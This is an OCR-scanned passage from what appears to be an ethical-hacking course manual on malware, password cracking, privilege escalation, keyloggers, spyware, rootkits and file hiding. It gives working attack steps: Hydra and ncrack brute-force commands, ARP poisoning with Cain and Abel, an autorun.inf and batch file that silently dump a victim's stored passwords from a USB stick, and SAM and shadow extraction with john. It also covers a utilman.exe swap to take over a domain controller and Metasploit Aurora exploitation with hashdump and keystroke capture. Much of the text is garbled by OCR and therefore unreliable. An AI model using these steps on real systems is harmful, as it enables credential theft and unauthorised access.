can damage your hardware, software or files. Almost all uirusﬁére attachedto

an executable file, which means thevirus may exist onyourcomputer but it actually
cannot infect your computer unless you run or open the malicious program. It is
importantto note that a virus cannot be spread without@ human action, (such as
running an infected program) to keep it going. Eepfl:sea virus is spread by human
action people will unknowingly continue the spread of a computer virus by sharing
infecting files orsending emails with viruses as attachments in the email.

¢ Worm

A worm is similar to a virus by design and is consideredto be a sub-class of avirus. Worms
spread from computerto computer, but unlike a virus, it has the capability totravel withoutany
human action. A worm takes advantage of file orinformation transport features'on your system
which is what allows it to travel unaided. )

The biggestdanger with a worm is its capability to replicate itself'on your system, so rather
than your computersending out a single worm, it could send out hundreds or thousands of
copies of itself, creating a huge devastating effect A

Due to the copying nature of a worm and its capability totravel across networks the end resuit
in most cases is that the worm consumes too much system memory (or network bandwidth),
causing Web servers, network servers and individual computers to stop responding. In recent
worm attacks such as the much-talked-about Blaster Worm, the worm has been designed to
tunnel into your system and allow malicious users to control your computer remotely.

o Types of Viruses

Viruses are classified according to two factors: what they infect and how they infec|
A virus can infect the following components of a system:/./.

System sectors

Files

Macros (such as Microsoft Word macros) /'

Companion files (supporting system files like DLL and INI files)
Disk clusters a3
Batch files (BAT files)

Source code

e Some Tools to make worms and viruses
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Jps Virus Mlaker3.0

TeraBIT Virus Maker 3.2

e JPS Virus Maker

JPS ( VWirus Maker 3.0 ) X

Yirus Options :

|& Intemet Ex
Dizable Time
Jigable 3 oup Falic

le Taskbar
& Star Buttar [ agkbar

[] Deastray Offlines MM

mR=1- 4
board

dows

o Restart > Log O Turn O O Hibrinate » None

Mame After Inskal:
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4. Part C: System Hacking

a)_Overview in System Hacking

* Understanding Password-Cracking Techniques /= ~
» Understanding Different Typ;s of Passwords /
Understand Escalating privileges _
Understanding Keyloggers and Other S);ﬁareTechnologies
Understanding Rootkits
Understanding How to Hide Files

Understanding Steganography Technologies

Understanding How to Cover Your Tracks
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b)_.Understanding Password Cracking Techniques

*  Many hacking attempts start with attempting to crack passwords. Pf_i@swords
are the key piece of information needed to access a system. Users, when
creating passwords, often select passwords that are profe fo-being Gragked.
Many reuse passwords or choose one that's simple—sg’alf as a pet's name:

+ Pasdwords are stored in the Security Accounts Manager (SAM) file on a

M

» Windows system and in a password shadow }il&on a Linux system.
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c).Understanding Network Environment Types

KDC - Domain Controier
{AS and TGT

»

N, Service Ticket +
i3 Session Key

N

N Sorvice Ticket «
Requestor TGT % %\

Authenticator

e In workgroup the uses name and passwords stored in the SAM file in the same machine. We can crack the
passwords if we got the data on the sam file.

e In the domains, the usernames and passwords are store in the domain controller. The directory service consists
of four parts: domain partition, schema partition, configuration partition and application partition. The domain
parti tion contains data about all objects in network. Schema partition consists of attributes or class templates.
The configuration partition consists of the infrastructure of domain controller. The schema partition consists of
attributes and classes templates.

e In active directory domains, the machine logon using Kerberos service. When the client wants to access any
resource, it goes to a service under Kerberos called TGS (ticket granting service). The TGS carries TGT (ticket
granting ticket). In TGT is file written on it SID for users and the security groups that the users members on
them. The machine requests the TGT when it wants to access a service and the active directory grants it service
ticket and session key and the machine gives the service ticket and the authentication to the service
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d) Different Types of Password Cracking:

.

Eavesdropping on network passm:?mhange!\
Passive online attacks include sniffing, man-in-the-middle, and replay

attacks.
A

L'/ Guessing the Administrat:gmsswﬂrd.ﬁctjve online

attacks include automated password guessing.
Dictionary, hybrid, and brute-force attacks.

Snoulder surfing, keyboard sniffing, and social
engineering.
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e) Ethical Hacking Techniques:

« A file of words is run against user accounts, and if the password is a
simple word, it can be found pretty quickly.

‘_.

- A common method utilized by users to change pagswords is fo'sd
number or symbol to the end. A hybrid attack works like a gﬂunaw aftack, Ditadds
simple numbers or symbols to the password attempt. /

- The most time-consuming, but comprehengive way to crack a
password, Every combination of character is tried uptil the password is broken. /°

= it is the combination of both brut fnéé aftack and the dictionary attack

- this attack is used when the attacker l:|¢'|:$ some information about
the passwprd

is understood to mean the art of manipulating people into
performing actions or divulging confidential information

using direct observation techniques, such as looking over
someone's shoulder, to get information

is a technique used to retrieve information that could be used
to carry out an attack on a computer network
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f)_Passive Online Attacks:

Sniffing
Mzn-in-the-middle and replay attack

] Lophterack

cain

e Cain and Abel Tool: Using the cain and abel tool. Tell him you want to use the cart network. Choose to make arp
poisoning. Choose to run NTLM authentication. Go to sniffers and then hosts and add. Click all hosts. Go to
ARP and check the gateway and choose the destination that we want to make ARP poisoning.

e Go and browse any machine in the network to see its share.

Type the name of a program, folder, document, or
Inkermet resource, and Windows will apen it For vou,

1192, 168.26.138

| ok _I | cancel || Browss., |
e Then go cain and abel and click passwords and then click SMB and we will find LM hash and NTLM hash. We
can from this hash crack the password.

Fle View Configure Took Hep

IR QhEm +y R RVDEEROEE 67 i

& vecodes | @ vetwork [ r |of Coder [ Trscmonte [ conu [T v [ ey |

4 Passwords A | | cent | Usemame | Domain | Passord | AutiType Lbl Hash | T Hash [T servechil | UGG
% 1P () I—ﬂmm
TP ()

G e (0)
@ e )
P rora(0)
u 5B (1)
M Tehet (0)
NG (0)
B 0s0)
;});stoa

?g SMTP (0)
NNTP (0)

i
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g)_Active Online Attacks:

Pass'-r:ord guessing

Trojan | spyware / keylogger

hydra -| msfadmin -P -"pentestfpas‘swords."wordlists.-'darkcﬂde.lsf'
" 192.168.28.129 ftp / .

i nerack -v -u msfadmin -P /pentest/passwords/wordlists/darkcOde.Ist -p
5900 192.168.28.129

hitp://lwww.insidepro.com/dictionaries.php (password list)

e You can find the password dictionary list in linux in /pentest/passwords/wordlists. You can find the password of
ftp service using this command

# hydra —1 msfadmin -P / pentest/wordlists/darkOde.Ist 192.168.1.3 ftp

Where msfadmin is username

It can find the password if it is in the file list

e You can use ncrack for same purpose

# ncrack - v -u msfadmin -P / pentest/wordlists/darkOde.Ist -p 21 192.168.281.29

e You can download password list from

http:fwwhwinsidepro comifdictionaries. php (password list)
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h)_Stealing Passwords Using USB drive:

new cool way o ha
matters a lot for usir

ords
USB dnve
Windows 7

physically, it m

\ isthat physical appr
q this method. We will usea y

sb and Seme-applicalions to

Is in any computer. As we know r;{_:r-.p.,r;,a-dk
tes and to-remember them.all i
in the computer )
dis to plug the U

Yes All we n

hitp:/lwww.nirsoft. net/password _recovery tools. html

& 1=
Estract Mazpword =

Paszwords

e You have flash drive and when you put it inside the device, it will steal the information.
o There is a tool in nirsoft.net to recover all types of passwords.

The following table describes the most popular password recovery utilities for Windows in NirSoft Web site:

MessenPass

Recovers the passwords of most popular Instant Messenger programs n Windows: MSN Messenger, Windows Messenger, Windows Live
Messenger, Yahoo Messenger, ICQ Lite 452003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView

|E PassView
i3

Protected Storage PassView

Recovers the passwords of the following email programs: Windows Live Mail, Windows Mail, Qutlook Express, Microsoft Outlook 2000 (POP3
and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla
Thunderbird,

Mail PassView can also recover the passwords of Web-based email accounts (HotMaul, Yahoo!, Gmail), if you use the associated programs of these
accounts.

[E PassView is a small utility that reveals the passwords stored by Intemet Explorer browser, It supports the new Internet Explorer 7.0 and 8.0, as
well as older versions of Internet explorer, v4.0 - v6.0

Recovers all passwords stored inside the Windows Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more...

Dialupass

Password recovery tool that reveals all passwords stored in dial-up entries of Windows. (Intemet and VPN connections) This tool works i all
verstons of Windows, including Windows 2000, Windows XP, Windows Vista, Windows 7, and Windows Server 2003/2008.

BulletsPassView

BulletsPassView 15 a password recovery tool that reveals the passwords stored behind the bullets in the standard password text-box of Windows
operating system and Interet Explorer Web browser. After revealing the passwords, you can easily copy them to the clipboard or save them into
texthtml/csv/xml file

You can use this ool to recover the passwords of many Windows applications, like CuteFTP, Filezilla, VNC, and more...

Network Password Recovery

Recover network shares passwords stored by Windows XP, Windows Vista, Windows 7, and Windows Server 2003/2008.

SniffPass Password Sniffer

Windows utility which capture the passwords that pass through your network adapter, and display them on the screen mstantly.
You can use this utility to recover lost Web/FTP/Email passwords.

RouterPassView

Windows utility that can recover lost passwords from configuration file saved by a router. This utility only works if your router save the
configuration file i a format that RouterPassView can detect and decript.
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i. Method 1 for Stealing Passwords Using USB drive:

e Take the programs in the website, mspass, pspv, passwordfox as example. lepv_setup.exe, mailpv_setup.exe.
Take the programs and put them in a folder. Setup the programs iepv and mailpv and take their programs from
program file.

'}’-J mspass '|’J passwardfos

% autorun.inf

r pspy . Setup Infarmaton
l 1¥B
‘M:; "i-;
4 iEpy_SEtup. e riallpy_setup, xe
é uj
ﬁ mspass.zip ﬂ ] passwordfox, zip
71 kB 58 KE
Eafgfﬁgﬁnﬁh pepv.2ip
]

iy

e Make program autorun.inf in the folder

£ autorun.inf - Motepad

File= Edt Format View Halp

[autorun]
opensprogstart [bat
ACTION= Perforf a virus scan

e Make program progstart.bat

= progstart.bat - Motepad

File Edt Format View Help

sTart mspass.exe /sText mspass.Txt
5 Text mailpv.Txt
start iepv.exe /stext iepv.tixt

Start pspv.exe /stext pspy.txt
start passwordfox.exe /stext passwordfox,txt

o Save the files in the root of flash. After you put the flash, the passwords will will be saved in the text file
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ii. Method 2 for Stealing Passwords Using USB drive: USB Utilities

o We use USB_Utilities

USB TO ETHERNET CONNECTOR V2.4
USB THIEF
USB COPYNOTIFY V1.5.5
USB SAFELY REMOVE V.5.31.617

PASSWORD PROTECT USB V 5.6.2
USB SMART SAMSUNG TOOL V 1.12
ID USB LOCKKEY V122
USB TOOLS INFO / CONTENTS

e Choose the USB thief. Browse. Choose the place that you extracted the usb utilities. There will be two
folders.

’,J Gat ‘wm all ™ @ D ISEThief

X 'I'% USE_| tilites . exe
AiuboPlay Apoheatic

o Take the data in USBThief folder and put it in flash memory.

piborun. inf
'-e'._url !rlfJ:ll'!'l'l-::".ll:n"l

4

e When you put the flash in the machine it will dump all passwords.
e When you go home, open the dump folder.
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i).The Lan Manager Hash:

Microsoft uses NT Lan Manager (NTLM) hashing to secure passwords in
transit on the network. Depending on the password, NTLM hashing can be
weak and easy to break . .

When this password is encrypted with LM algorithm, it is figsf€onverted t;ﬁ\
uppercase: '123456QWERTY"

The password is padded with null (blank) characters to make it 14character length:
123456 QWERTY s

Eﬁil‘;[lgf encrypting this password, 14 character aﬂ’ng is split intohalf: -|’123455£} and

Each string is individually encrypted and the results concatenated.

'123456Q"' = 6BF11E04 AFAB19TF
‘WERTY_" =F1ESFFDCCT3575B1%
The hash is 6BF11E0C4AFAB19TFF1ESFFDCC75575B15

e When Microsoft saves the password, it saves them in LMHash. Now there is NTLM hash.

e The Microsoft in work group environment registers the passwords in sam files. It is in system32/config folder.
We cant do anything to the SAM file while the operating system active as it is protected.

e To get the data in SAM file we have thwo methods. The first method to bring program that can extract the data
in SAM file and the second method is to boot from another operating system through the live CD.
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I. Method 1 to get the data in SAM file:

e This method if you are local in machine as normal user and you want to get the password of the machine

for administrator.

e To find the administrator user while you are not administrator, you can use cain program. Click cracker.
Ask him to bring the hash for local system.

Decoders | @ Newwork |8y sofer |of cracker | @) Tracerowe

laf Cracker ~
R LM & NTLM Hashes
R NTUMVZ Hashes (0)
R Ms-Cache Hashes (
& PWL Files (0)

I Cisco 105-MDS Has!
P Cizeo PI4-MOS Hash

User Name

[T Add r.:r Hashes from X

@ Import Hashes from local system
™ Inchcle Password History Hashes

" Import Hashes from a text file

LR LEM +U B RIDEE22092 6 ¢ 0

| Type

P APOP-MDS Hashes [
@ CRAMMDS Hashes E
# OSPF-MDS Hashes 1
& RIPVZ-MDS Hashes W Fiar

" Import Haches from a SAM database

VRRP-HMAC Hashe: [
WNC-3DES (D)

md M0z Hashes (0) Koy [HE

md MD4 Hashes (0) |
md MDS Hashes (0)
9 SHA-1 Hashes (0)
40 SHA-2 Hashes (0)
R, RIPEMD- 160 Hashe

]

Cancsl

{73 Kerbs PreAuth Has!

File view Configure Tooks Help

e hBE +v 2 L EEEa0¥2 07 0

& oecoders [ @ etwork [ sffer [of Cracker [ Traceroue @cm [ oo |

@ Cracker # [ user name | LM Password | <8 | T Password | LM Hash | N7 Hash
B IMENTIMHash | B grnistrator * empty * Y empty * ARDIB43SES 1 40EEAADIBAISESI404EE  JIDECFEODBAES3IBTICSIDTENCOE9CO
R T2 Hashes (0) | | 8\ Guest * ampty * * Yempty® AADIBAISES| 404EEAADIBAISES [404EE  31DSCFEDD | 6AEI31BTICSSDTEDCOBICT
2 :Vs\of;‘::( ;I;shn( X HelpAssistant E199CEZB600BEZIOFICIIEOM0IDAZAIA  J4TEDABOZ49EEIER9DBIZT0B3A1 3750
SUPPORT_38694540 * egpty * » AADIBAISES| 404EEAADIBAISESI404EE  2D4AD3A467DIDE07IEDCOH I4FESOLLEE
0 coco 105005 Hasl | 2 = s =

W cisco PIX-MES Hast
QP APOP-MDS Hashes
9 CRAMMDS Hashes
+fr OSPE-MDS Hashes 1
o RIPVZMOS Hashes

A umne s ek

F0AS90CAEB422FIFASATAESSY

rute-Force Attack

Charset Password henghtih
& Predefined el |
[ABCDEFGHIKLMNOPQRS TULWWHYE -~ Max |5 —
T Customn — Sikart Frown
| | jaDmin
Keyspace Camvent passwacnd
[ SS9 890 | '
| ey Fate T Lesfit
! [
Flaintext of AADIB43S5BSL404EE is
Flaintext of FOD41LZBD7E4FFES1 i= ADMIN
Attack stoppedl
2 of 2 hashes cracked
Shant Ewit
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II. Method 2 to use CD to reset the password or crack the SAM file hash:

This method used when you are not logged in the device and you don’t have account. In this method you can reset the
password using PassCape CD. The problem is that the user knows that the password was reset. So the other way is to try to

crack the password in the SAM file.

M.SS_PAD

Reset Windows Password

Welcome to Reset Windows
Password

This Wizard will guide you through the steps of resetting or recovering
yvour lost Windows account pascword

Interface language

|Engish =l

Recovary mode
(% SAM - work with regular user accounts
€ AD - work with Active Directory accounts

What do you want to do

| |Reset or change usér account password .ﬂ

Reset or change wser account password
Lookup user Dass words
) passyord hashes to text file

m Load IDE/SATA/SCSIRAID driver
h Restore greviously modified passveord or data

Choose to reset or change user account password. Put the new password for the user you want to change its password.

F Reset or change user acoount password =101
Resetting SAM user account password (step 3 of 4)
In order to procesd, select & user account you want to reset the password for,
1
—Liser list
User names | userRID | Admnistrater | Stams [ Legend
-
B admmistratr ODODO1FS  Yes = - )
8, Guest O0000IFS Moo a2 e e e
IS Helpassstant O0O003ES Mo = - User
IS supeoRT_388945a0 OD0D03EA Mo -5 = Guest
""""" 1368 ¥ Bl 2 coerawor
= System account
i Passworded
T Password not set

“Account propertes
Account locked: -] Account disabled: -]
Password expired: MNever Mo password regquared: o
Password history present: MNa

Pasaward hint:

L i = e T - - . i .
s -
Resetting SAM user account password (step 4 of 4)
Enter mayy passyword for the user account you selected or st biank password to resat it, Pay spacial
attention to additional options. Windows will dedline the password if the account is locked or disabled,
~User account information
SAM path | CHWIDOWS \Systam32iConfig\SAM
Account name fuseer
Account RID | 1003
Account description |
“Reset
Account lacked Mo »
Account disabled ho x
Passwordexpired Mo hi
| New password | I
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e Try to choose make dump export password hashes to file. Save the dumped passwords in usb drive. You must
boot from the usb drive in order to save the file on it.

e Open the saved text file.

o The file consists from: User name: user id: LM hash: NTLM hash

We will crack LM hash

it tratar  J00:ND PASSHQRDrsviswiikik b e GAERRERTACSOOTEOCORDCO:Buf Tt account for aaministaring the
mputer /ot in

Clet (000 PASGQR vkt pycoygpiiesttianiititsits ey g o quesr 4cc855 10 the camputer/dumam

A ATt 000 L0 2800088 0883 DAO0DAASA TEDBLAE e DBRTRRRALITSGokcccu o Prowfaing Renote Asstatane

4
SUPPORT_3IBAOASa0:L002:) PASSyQR vk JACLMGTORORTAEDCMLAFRICLLER s 18 & vendr's accou for the HE]p il
fup;m"t garvice:

it

par 008 P01 280764 FRERLARDIOA RS LACMEE  0ACKLTADMOICAEBAL2F SFATATAREHA

e You can use the website www.onlinehashcrack.com in order to crack passwords

| mrr—— CE A% 1

st Visited Getting Started | Hide Files And Folders ... Eduors Hack Facebook (All M... Upgrading to Server 20...

Facebook || Facebook | | Kaspersky || Soft Academy [ | CBT Nuggets - Config... » B3 Bookma

OnlineHashCrack.com

Password Recovery MD5 - LM - NTLM - SHA1 - MySQL - MD4 - OSX - WPA(2) [FECA T uiti hash crack | WPA WPA2 crack

m Lookup your hash
Free IPv6

Tunnel

Broker

e Or you can use the cain program
e The dumped sam file

Windows 2000 uses NT Lan Manager (NTLM) hashing to secure passwords in transit on
the network. Depending onthe password, NTLM hashing can be weak and easy to break.
For example, let’s say that the password is 123456abcdef _. Whenthis password is
encrypted with the NTLM algorithm, it's first converted to all uppercase:123456ABCDEF _.
The password is padded with null (blank) characters to make it 14 characters
long:123456ABCDEF __

123456 A =6BF11E04AFAB19TF

BCDEF__=F1E9FFDCCT5575B15

The hash is;:6BF11E04AFAB197FF1ESFFDCCT5575B15 (NTLM hash)

e You can crack the sam file using the backtrack

fdisk -l
Mount /dev/sda1 root/
Cd Iroot/WINDOWS/system32/config

Bkhive SYSTEM pass1.txt

Samdump2 SAM pass1.txt > Pass2.txt -

Cd /pentest/password/john

Jjohn Iroot/Windows/system32/configipass2. tnf
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http://www.onlinehashcrack.com/

e To see the hard disk, write in backtrack

# fdisk -1

rootaract

Mount the windows partition

# mount /dev/sdal / root

#cd /Windows/system32/config

#bkhive system password].txt

# samdamp2 SAM password].txt > password2.txt

# /pentest/passwords/john

# ./john /root/Windows/system32/ config/password2.txt
reotgroot
samaumps L.l

tt W ol G
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J)_Offline Password Cracking:
We want to make crack for windows 2008 domain controller so we can reset the administrator password so we can login to
domain controller.

» Offline Password Cracking

e

cd windows

cd system32

move Utilman.exe Utilman.bak exe
copy cmd.exe utilman.exe

restart machin

show ¢md by cleik in icons

net user administrator 123456

o To make offline crack, put windows server 2008 in CDROM. When you login point to iso image of the windows

2008 server
Hardware  Options
Device SUmMMmary Dewice status
7
8 Memory 1GB o !Cnmec:ecr
[ erocessors i | Connect at power on
st Hard Disk (SCST) 40 GB
g, CO/DVD (I0E) Usng flle G:\p.swindows 2008\6... nnection
i1 Floppy Auto detect se physical drive:
Winetwork Adapter  NAT
EUSB Controder Present . =
NE' Sound Card Auts detect | Lise IS0 image file:
- Prin ter Present G:\o.s\windows 2008\6001.180 »|  Browse..,
B oeplay Auto detect

Advanced..,

o Restart the server. Click to esc to get the boot from menu>Choose to boot from cd
e Choose repair your computer

e Choose command prompt. Go c:\windows\system32
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o Change the name of utilman.exe to utilman.exe.bak
e Copy cmd.exe to utilman.exe

RAll r»ights »

an inte F. ernal command.
File.

Sources »cd:
ssources®
=d windows

indo

sWindo : . B . » utilman.exe.bak
1

ndow : o » utilman.exe

1

“Window

e Restart the machine
e Click utilman icon
e Write the command to reset the password

Net user administrator pass2005

The system cannofy Find message text For message number Bx2350 in the message Fil
e for ﬂrn],i'lii:nrinrh

m cannot Find message text for me ge nunber Bx2334 in the m
e For Application,
em cannot Find message text For message number Bx8 in the mes

or Systen.

indow tend2 net user administrator Paszs2BB5
command apleted = gfully.

indow temad
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k)_Offline Password Cracking_in Linux:

o In linux the passwords registered in file /etc/shadow

vivek:§1§infticspGleyHdicpGOffiXX4ow#5:13064:0:99999:7:::

l

1

l P17

2 J 4 5 6

1-User name: It is your login name . :

2- Password: It yourencrypted password The pa sawur&iﬁuld be minimum 6-8 characters long
includingspecial characters/digits

3- Last password change (lastchanged): Days since Jan 1,1970that password was last changed

4 Minimum: The minimum number of days required between password changes L.e. the number of days
|eft before the user ia allowed to change his/er password

§ Maximum: The maximum numberof daysthe password s valid (afterthat user is forcedto change
his/her password)

6- Wamn ; The number of daya before password is to expirethat user is wamned that his/her password
mustbe changed

T-Inactive : The number of days after password expires that accountis disabled

8- Expire ; dayssince Jan1, 1970that accountisdisabled i e. an absolute date specifying whenthe login
may no longer be used

o Offline Password Cracking:

Offline Password Cracking

Cat /etc/passwd
Save pass.txt
Cat /etc/shadow
Save shadow. txt

/I'|

Junshadow /root/Desktop/pass.txt
froot/Des ktop/shadow.txt > /root/Desktop/crack txt

Jihon lroot/Desktop/crack. txt

o Save the password files passwd and shadow to passwd.txt and shadow.txt
#Kate /etc/passwd and save it to passwd.txt

#Kate /etc/shadow and save it to shadow.txt

o Use the john tools

#cd /pentest/passwords/john

#./unshadow passwd.txt shadow.txt > crack.txt

# ./john crack.txt
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* root@bt: /pentest/passwords/john

Ca Now parsing -t usris

-Tarmak=crypl

ard k=

passward
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1) Understanding hashcat tools and gpu techniques

hashcat

advanced
password

Hashcat
Hashcat-gui
QOclhashcat-plus recovery

The hashcat tool is used to decrypt the hash passwords. It can crack md5. The mdS5 is one way encryption, which means the
password can be encrypted but cat be decrypted again.

Download hashcat to crack the md5 hash. Hashcat wil compare two hases togother. It will bring a word and encrypt it and
compare it with the hash of the password and if they are equal, the two words are same. We have three vesions: hashcat,
hashcat-gui, oclhashcat-plus.

Hashfile: CADOCUME~LwsenLOCALS~\Tempihasd.trp v =
Hashlist Seperator; [ | Remove ﬂ a - ﬂ -
wordlistis): |
Mode Brute-Force W Hash MDS Y .
Password Length
Length 1 - 8

Bruteforce Settings

Charset; abcdefghijkimnopgratuvwesz a
[] Ouwtfile CADocuments and Settings\wserDesktopllog. out v = =
Format: hash. pass w
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m)_Privilege Escalation
Privilege Escalation is to give the user higher privileges. Some backdoors can take administrator privileges

If an attacker gainsaccess to the network
using a non-admin useraccount, the next
stepis to gain higherprivilege to that of

anadministrator

MS11-080 - CVE-2011-2005 Afd.sys
Privilege Escalation Exploit

o To know the users, go c:\documents and settings you will find the users profiles for all users in the machine
o To get the information for the user, write

>Net user user
e Use the MS11-080 to change the privilege

>MS11-080.py - 0 xp

o Documents and Settingzsmahmood >ed des ki ap

sisocuments and SettingssmahmoudsDesktoprdir
Uolume in depive C has no label.
Uplumpes Serial Humbher iz BRAF-CHAS

Directory of C:sDocuments and SettingssmahmoudsDe

12 PH
' LDIK:> .
PH 217 " BEY . py
1leds .21Y bytes
Dirds 74 _ 688 butes froee

Cosocuments and SettingszsmahmoudsDesktop*ME11-A80

61



n) Understanding Keyloggers and Spyware Techniques

If all other attempts to gather passwords fail, then a keystroke
logger is the tool of choice for Ny
hackers. Keystroke loggers (keyloggers).can be implemented
either using hardware or software. Hardware keyloggers are A
small hardware devices that connect i keyboard to the PC *

and save every keystroke into a file‘'or in the memory of the
hardware device. In order to install a hardware keylogger, a
hacker must have physical access to the system. Software
keyloggers are pieces of stealth software that sit between the
keyboard hardware and the operating system, so that they can
record every keystroke. Software keyloggers can be deployed
on a system by Trojans or viruses.

e There are hardware keyloggers and software keylogger

B

o The hardware key logger is hardware to connect the PC and keyboard to register every keyed letter. It is not
detected by spyware

There are programs to detect the keyboard actions

PCspy keylogger can do the task

Actualspy can do the task
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P fom et 3log drecto | \Program Files\PSK\Data\ToolKeyo |

h” Ernail Delivery
Hotkey |Etrl + Shift +°

|
w FTP Delivery % ;

w Password Setup Recards the content of the clipboard
Records login information
T sk & scoeen snapshot when logn informaiion captured

__:q Snapshot Recording

@ Programs Blocking ] Recards every program launched on the PC
% Targets ] Moniter PC Spy Keylogger-Sell

K Trvisible /Staalth

& Load on wandows stastup

w MatiFication

u’ Urinstall

Actual Spy - Unregistered Version

Start menitoring [0 “op o Y Hide | )€ Clearallogs | 2] Registation ©) Help g' Exil

| General | Logs | Repar sending |

i ﬁ: :::: palh C.\Program Files\ACSPMonitor\logs\ =
Text logs maimum size 500 3] ke (Cusrent size 0.00 Bytes) '
Seresnshols mamum size 300 E” ME [Cusrent size 0.00 Bytes]
| [¥] Clear log files when exceads masimum size Enicrypt log Fles
Stanup Option

[] Stant at the system |oading H . . ar I

Hiding
(] Remave the pragrar's shateut fram the Desktep [ Remave frem "Add ar tamave programs”
(] Refsgive the pragrar from the Stan-> Pragrams mar [ Hide program felder

‘You can iun the program via the “Stat <> Run" menu, beping in the opened window Eaﬂ!uﬂhmtﬂi

l_-Ioth.l | Pazsword settings
Cil + Shilt + &l + FB || ' C]Enable passward
| Defoubsetings | | ooy | | Cancel |
‘atus: stopped Total records: 0 Text logs size: 0.00 Bytes Screenshots size: 0,00 Bytes

e You can use metasploit keylogger
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0) Metasploit Keylogger and Privileges Esclation

msiconsoke

use explomfsindows/browser'ms10_002_aurora
set SRVHOST 192 168 28 133
set SRVPORT B0
sel URIPATH /J
e ploit
sessions —|
sessions -i 1

help

getpid

Ps
magQrate 1630

keyscan start
keyscan dumg
o Write
# msfconsole
Msf>search windows /browser/ms10
Use exploit exploit /windows/browser/ms10_002_aurora
>Set SRVHOST 192.168.128.133 (your ip)
>Set SRVPORT 80 (the port the program will listen)
>Set URIPATH /
>Exploit
>Sessions — (To access all sessions)
>Session - 1
Some commands in meterpreter session
Hashdump ( To get the files on the accessed computer)
Getpid (to know the level you are)
Migrate 948 (To increase your privilege)
Keyscan_start to make key logger on the cluent

Keyscan_dump (To get the information)




1

o
o
®
-

Q

=]

=
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p)_Spyware Tools

There are a lot of spyware tools

is spyware that records everything a system does onthe Internet,
much like a surveillance camera. Spector automatically takes hundreds of
snapshots every hour of whatever is on the computer scréen and savMese
snapshots in a hidden location on the system's hard drive. Spectorcan be
detected and removed with Anti-spector

[ &
is Internet spy software that captues incoming and outgoing e-

mails and immediately forwards themto anbther e-mail address. eBlaster can
also capture both sides of an Instant Messenger conversation, perform
keystroke logging, and record websites visited.

_ is a tool that allows you to view system activity and user
actions, shut downl/ restart, lock down/freeze, and even browse the filesystem
of a remote system. SpyAnywhere lets you control open program and windows
on the remote system and view Internet histories and related information.

e Using Spector

Screen
&= Snapshots

gl
New Tt
Dooument

7]

Apdzirppdicis

e eBlaster
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" Fﬂ b_"_" e Settings 0 Uninstall o Hel

eBlaster ...

Reporn Delivery i" Sent R

REPORT TIMEFRAME: SUN, JUN 23, 01:04:12 PM TO SUN, JUN 23, 01:08:33 PM PACIFIC STANDARD TIME

User Activity Summary: user Help

Report Details Activity Status Computer Identification
Chat | Instam Messages i 0N
IP Address: 192 16828 138
Online Searches 0 oM Public IP Address:
HEER R R a S
Web Sites Visited 0 On
Computer Mame; #P-1
Ermail Activity 0 On Uisername: user
- Seral Number.
Files Transferred 0 Qi
h 28200W00G2622628

e You can use spyanywhere

[ Sovanyhere: Femote Web ..

& ® [~ @ 192.168.28138M0me v Q| [ Googe q|
@ BackTrack Linux [fjfjoffensive Security [Exploit-DB YWy Aircrack-ng i SomaFM

IS welcome to SpyAnywhere!
You are connected to user at Sun 6/23/13 @ 1:29:22 PM
um
System Information
Last Connection Time: Unknown
C—
SpyAnywhera is a powerful, and easy to use remate and Y allows you to manage, monitor, and control the remote PC via your web browser. Choose
commands from the left pane of your browser to use SpyAnywere. Listed below mmlmms privileges for the remote PC you are connected tol
File System
ooty Startup Keys Access Privileges
You have the following access Rghts on tha remate PC:
View Realtime Keystrokes # Realtime Keystroke Viewing Allowed
Control Remote Desktop ® Open Windows Management Allowed
View Desktop Screenshot ® Open Windows Viewing Allowed
View Recent Documents ® Running Application Management Allowed
View Browser Favorites *® Running Application Viewing Allowed
View Internet Connections: ® View Desktop Allowed
View Temporary Histories ® Shutdown Computer Allowed
View Open Ports ® Restart Computer Allowed

® User Logoff Allowed



q)_.Understanding_Rootkits
They are some programs or tools that enables us to keep the root privileges and hide all process you make. Kits means the
group of tools that allow you to control the computer. There is application rootkit and kernel rootkit. The application rootkit
can control some applications and commands like Is and dir. They can hide the processes in the background and can control
the ports and hide them. The kernel rootkits are the most dangerous rootkits and we need to change the operating system if it
was infected with kernel rootkits. It infects the kernel of the machine.

At the core of the term "rootkit" are two words- "root" and "Kit". Root refers
to the all-powerful, "Administrator” account on Unix‘and Linux Systems,
and kit refers to a set of programs or utilities that/allow someon to
maintain root-level access to'a computer. However, one other aspect of a

rootkit, beyond maintaining root-level access, is that the presence nfﬁl_he
rootkit should be undetectable.

Il
i

Application rootkits (" Is " "find" "du" , "top" "ps" "pidof" , "netstat")

Kernel rootkits
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r)_ Understanding how to hide files

A hacker may want to hide files on a system to preventtheir deteetion.
These files may then be usedto launch an attack on'thesystem. e are
two ways to hide files in Windows. The first is to us€ the attrib command.
To hide a file with the attrib command, type the followin at the command
prompt:

Brigs N
attrib +h [file/directory] /‘-‘

The second way to hide a file in Windows is with NTFS alternate data
streaming, NTFS file systems usedby Windows NT, 2000, and XP have a
feature called alternate data streams that allow data to be stored in
hidden files linked to a normal, visible file. Streams aren’t limited in size,
more than one stream can be linked to a normal file.

We can hide the file through the attrib command that can change the properties of the file.

e Create file 1.txt in the c: and use the command attrib +h to change its attribute and hide the file.

oL TS S |

sdrattribh +h 1 .txt

e We can hide files in the ntfs drive through the ntfs stream property.

Use the following command to create a file test.txt and hide it. Use the same command to open it.
C:%Documents and Settingssuserlcd
theed d
tnd2attreib +h 1.txt
wd>notepad test.txt

“sd>notepad test.txtihide.txt

To create and test an NTFS file stream, perform the following steps:

At the command line, enter notepad test.txt.

Put some data in the file, save the file, and clcse_ﬂﬁepﬂd. Step 1 will
open notepad.

At the command line, enter dir test.txt and note'the file size.

At the command line, enter notepad tesﬂ:ﬂl;hidﬁ_e_n._t_;t. Type some text
into Notepad, save the file, and close it. =

Check the file size again (it should be the same as in step 3).
Open test.txt. You see only the original data.

Enter type test.txt:hidden.txt at the command line. A syntax error
message is displayed.

e To hide files in linux put . in the beginning of the file name. To show hidden files press ctrl h, or go to
menu, press view, show hidden file.
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s).Understanding Steganography Technologies

Steganography is the process of hiding data in other types of data such as
images or text files. The most popular method of hiding data’infiles is to
utilize graphicimages as hiding places. Attackers canh embed an']‘ﬁ

n hide

information in a graphic file using steganography. THe hackerca
directions on making a bomb, a secret bank account number, or answersto a

